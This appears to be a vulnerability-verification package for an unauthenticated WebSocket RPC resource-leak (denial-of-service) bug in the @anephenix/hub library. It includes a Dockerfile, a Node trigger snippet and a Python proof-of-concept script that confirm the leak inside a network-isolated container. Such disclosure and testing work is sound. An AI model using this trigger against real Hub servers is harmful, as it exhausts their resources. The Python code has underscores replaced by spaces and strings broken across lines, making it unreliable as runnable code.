// src/lib/rpc.ts:250–267
interval = setInterval(() => {
  const response = responses.find(
    (r) => r.id === id && r.action === action,
  );
  if (response) {
    if (interval) clearInterval(interval);
    // ... resolve and cleanup
    this.cleanupRPCCall(response);
  }
}, 10);

docker build --no-cache 
 -f vuln-001/Dockerfile 
 -t hub-vuln-001:latest 
 reports/npm web 272 anephenix hub

docker run --rm --network none hub-vuln-001:latest

python3 vuln-001/poc.py

{
 "snapshotAfterClose": {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
 "snapshotAfterBatch": {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}

node --input-type=module - <<'EOF'
import Hub from './dist/esm/index.js';
import { WebSocket } from 'ws';

const port = 8766;
const hub = new Hub({ port });
hub.listen();
const ws = new WebSocket(`ws://localhost:${port}`);

await new Promise((resolve) => ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
 serverClients:   hub.wss.clients.size,
 pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOF

{"serverClients": 0, "pendingRpcRequests": 1}

FROM node:20-alpine

RUN apk add --no-cache python3 make g++

WORKDIR /app

# Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts

# Copy the rest of the source and build
COPY repo/ ./
RUN npm run build

# Copy the vulnerability verification script into /app so node modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs

CMD ["node", "/app/verify.mjs"]

#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)

Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.

Usage:
  python3 poc.py

Exit codes:
  0 — vulnerability confirmed (PASS)
  1 — not reproduced (FAIL)
  2 — environment / build error
"""

import json
import subprocess
import sys
from pathlib import Path

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT DIR = Path( file ).resolve().parent
REPO ROOT  = SCRIPT DIR.parent       # …/npm web 272 anephenix hub/
DOCKERFILE = SCRIPT DIR / "Dockerfile"
POC TAG   = "hub-vuln-001:latest"

BUILD CMD = [
  "docker", "build",
  "--no-cache",
  "-f", str(DOCKERFILE),
  "-t", POC TAG,
  str(REPO ROOT),  # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]

RUN CMD = [
  "docker", "run",
  "--rm",
  "--network", "none", # no external network access needed
  POC TAG,
]


def banner(msg: str) -> None:
  print(f"
{'='*60}
 {msg}
{'='*60}")


def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
  print("$", " ".join(cmd))
  return subprocess.run(cmd, **kwargs)


def build image() -> None:
  banner("Phase 1 — Building Docker image")
  result = run(BUILD CMD, capture output=False)
  if result.returncode != 0:
    print("[ERROR] Docker build failed.", file=sys.stderr)
    sys.exit(2)
  print("[OK] Image built:", POC TAG)


def run poc() -> dict:
  banner("Phase 2 — Running vulnerability verification inside container")
  result = run(RUN CMD, capture output=True, text=True)

  print("--- container stdout ---")
  print(result.stdout)
  if result.stderr:
    print("--- container stderr ---")
    print(result.stderr)

  # The container exits 0 on confirmed leak, 1 otherwise.
  if result.returncode == 2:
    print("[ERROR] Verification script crashed.", file=sys.stderr)
    sys.exit(2)

  try:
    data = json.loads(result.stdout)
  except json.JSONDecodeError as exc:
    print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr)
    sys.exit(2)

  return data, result.returncode


def evaluate(data: dict, container exit: int) -> tuple[bool, str]:
  """Return (passed, evidence summary)."""
  after close = data.get("snapshotAfterClose", {})
  after batch = data.get("snapshotAfterBatch", {})

  leaked single = (
    after close.get("pendingRpcRequests", 0) > 0 and
    after close.get("serverClients", -1) == 0 and
    after close.get("clientState", -1) == 3     # WebSocket.CLOSED
  )

  leaked batch = (
    after batch.get("pendingRpcRequests", 0) ==
    after batch.get("expectedPendingRpcRequests", -1)
  )

  passed = leaked single and leaked batch and container exit == 0

  evidence = (
    f"snapshotAfterClose={json.dumps(after close)}; "
    f"snapshotAfterBatch={json.dumps(after batch)}; "
    f"container exit={container exit}"
  )
  return passed, evidence


def main() -> None:
  build image()
  data, container exit = run poc()

  banner("Phase 3 — Evaluating results")
  passed, evidence = evaluate(data, container exit)

  if passed:
    print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.")
  else:
    print("[FAIL] Leak NOT observed — check container output above.")

  return passed, evidence, data


if  name  == " main ":
  passed, evidence, raw = main()

  verdict = "PASS" if passed else "FAIL"
  reason = (
    "소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 "
    "런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, "
    "배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨."
    if passed else
    "컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음."
  )

  result path = SCRIPT DIR / "phase2 result.json"
  phase2 = {
    "passed": passed,
    "verdict": verdict,
    "reason": reason,
    "build command": " ".join(BUILD CMD),
    "run command": " ".join(RUN CMD),
    "poc command": f"python3 {Path( file ).name}",
    "evidence": evidence,
    "artifacts": ["Dockerfile", "verify.mjs", "poc.py"],
  }

  result path.write text(json.dumps(phase2, indent=2, ensure ascii=False))
  print(f"
[INFO] Results written to {result path}")

  sys.exit(0 if passed else 1)